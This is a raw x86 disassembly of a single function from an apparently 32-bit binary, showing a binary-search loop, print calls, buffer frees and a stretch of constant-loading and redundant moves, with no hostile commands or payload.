mov eax, dword [esp + 0x50]
lea ecx, [esp + 0xdc]
push ecx
inc eax
mov dword [esp + 0xe0], ebx
push eax
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
call fcn.100126a9
xor eax, eax
mov byte [esp + 0x1fc], 0xa
mov esi, dword [esp + 0x50]
inc eax
cmp esi, eax
jl 0x100224ee
mov edi, dword [esp + 0x70]
mov ebx, eax
add edi, 4
push edi
push 0x1000b1cc
call fcn.10050d0b
mov esi, dword [esp + 0x58]
inc ebx
pop ecx
add edi, 4
pop ecx
cmp ebx, esi
jle 0x100224d3
xor ebx, ebx
mov eax, dword [esp + 0x54]
mov dl, bl
dec eax
mov byte [esp + 0x17], dl
mov edi, ebx
js 0x10022552
mov ebx, eax
lea eax, [ebx + edi]
cdq
sub eax, edx
sar eax, 1
push eax
sub esp, 0xc
mov dword [esp + 0x38], eax
lea eax, [esp + 0x80]
mov ecx, esp
push eax
call fcn.10022944
mov edx, esi
lea ecx, [esp + 0x74]
call fcn.100211ae
add esp, 0x10
test al, al
je 0x1002253d
mov ebx, dword [esp + 0x28]
mov dl, 1
dec ebx
mov byte [esp + 0x17], dl
jmp 0x10022546
mov edi, dword [esp + 0x28]
mov dl, byte [esp + 0x17]
inc edi
cmp edi, ebx
jg 0x10022550
mov esi, dword [esp + 0x50]
jmp 0x100224ff
xor ebx, ebx
or ecx, 0xffffffff
lea eax, [edi + 1]
test dl, dl
cmovne ecx, eax
push ecx
push 0x1000b210
call fcn.10050f3f
mov eax, dword [esp + 0x78]
pop ecx
pop ecx
test eax, eax
je 0x10022585
push eax
call fcn.100510a7
pop ecx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
or dword [esp + 0x1fc], 0xffffffff
cmp dword [esp + 0x64], 0
je 0x100225aa
push dword [esp + 0x64]
call fcn.100510a7
pop ecx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x20], 9
mov dword [esp + 0x28], 0x4bb489f7
mov dword [esp + 0x20], 0x819d3388
mov dword [esp + 0x30], 0xa3eaa3e8
mov dword [esp + 0x28], 0xd21b1857
mov dword [esp + 0x18], ebx
jmp 0x100225eb
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x110], 0xbaeef20f
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 3
jl 0x100225d8
mov dword [esp + 0x18], ebx
jmp 0x1002260b
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x1d0], 0xfffffff6
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 4
jl 0x100225f8
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x30]
dec dword [esp + 0x30]
mov eax, dword [esp + 0x28]
add eax, dword [esp + 0x2c]
jne 0x10022652
mov ecx, dword [esp + 0x34]
xor edx, edx
mov eax, dword [esp + 0x1c]
cmp ecx, eax
setne dl
mov dword [esp + 0x28], edx
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0xec]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0xf0]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0xf4]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x110]
mov eax, dword [esp + 0x10]
dec dword [esp + 0x110]
cmp ecx, eax
jle 0x10022693
xor eax, eax
inc eax
jmp 0x10022695
mov eax, ebx
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x88]
push eax
call fcn.10022a39
mov ecx, dword [esp + 0xac]
mov dword [eax], ecx
push 4
lea ecx, [esp + 0x13c]
call fcn.10011c5f
mov dword [esp + 0x18], ebx
jmp 0x100226d2
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x15c], ebx
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 3
jl 0x100226c3
mov dword [esp + 0x18], ebx
jmp 0x100226f2
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x138]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 4
jl 0x100226df
mov ecx, dword [esp + 0x138]
mov dword [ecx + 0xc], ebx
mov eax, dword [ecx + 0xc]
inc dword [ecx + 0xc]
cmp dword [ecx + 0xc], 3
mov dword [esp + eax*4 + 0x15c], 1
jl 0x10022703
push ecx
call fcn.100510a7
pop ecx
mov eax, dword [ebp + 8]
lea esi, [esp + 0xac]
mov ecx, dword [esp + 0x1f4]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret